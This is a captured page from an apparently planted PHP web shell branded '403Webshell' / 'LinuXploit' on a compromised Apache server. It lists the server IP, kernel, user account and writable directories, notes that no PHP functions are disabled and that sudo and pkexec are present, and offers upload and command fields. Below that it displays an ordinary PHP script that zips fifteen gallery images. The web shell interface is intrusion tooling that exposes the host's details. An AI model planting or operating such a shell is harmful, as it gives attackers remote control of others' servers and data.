403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/playwithfaye.com/public_html/free2/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/playwithfaye.com/public_html/free2/admin/build_zip2.php
<?PHP
//include($_SERVER['DOCUMENT_ROOT']."/_config.php"); 


// create object

$zip = new ZipArchive();

// list of files to add
	
$fileList = array(
	 	'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/1.jpg',
   		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/2.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/3.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/4.jpg',	
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/5.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/6.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/7.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/8.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/9.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/10.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/11.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/12.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/13.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/14.jpg',
		'/home/playwith/public_html/free2/tour/images/'.$asset_id.'/hogal/15.jpg'		
);


// open archive 
if ($zip->open("/home/playwith/public_html/free2/tour/images/".$asset_id."/hogal.zip", ZIPARCHIVE::OVERWRITE ) !== TRUE) {
    die ("Could not open archive");
}



// add files
$i='1';
foreach ($fileList as $f) {

    $zip->addFile($f, "".$i.".jpg") or die ("ERROR: Could not add file: $f"); 
	$i++; 
	}

 
// close and save archive
$zip->close();
echo "Archive created successfully.<p>";    

rename("/home/playwith/public_html/free2/tour/images/".$asset_id."/hogal.zip", ''.TOUR_ROOT.'/images/'.$asset_id.'/hogal/hogal.zip')or die("rename didn't work to well");
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit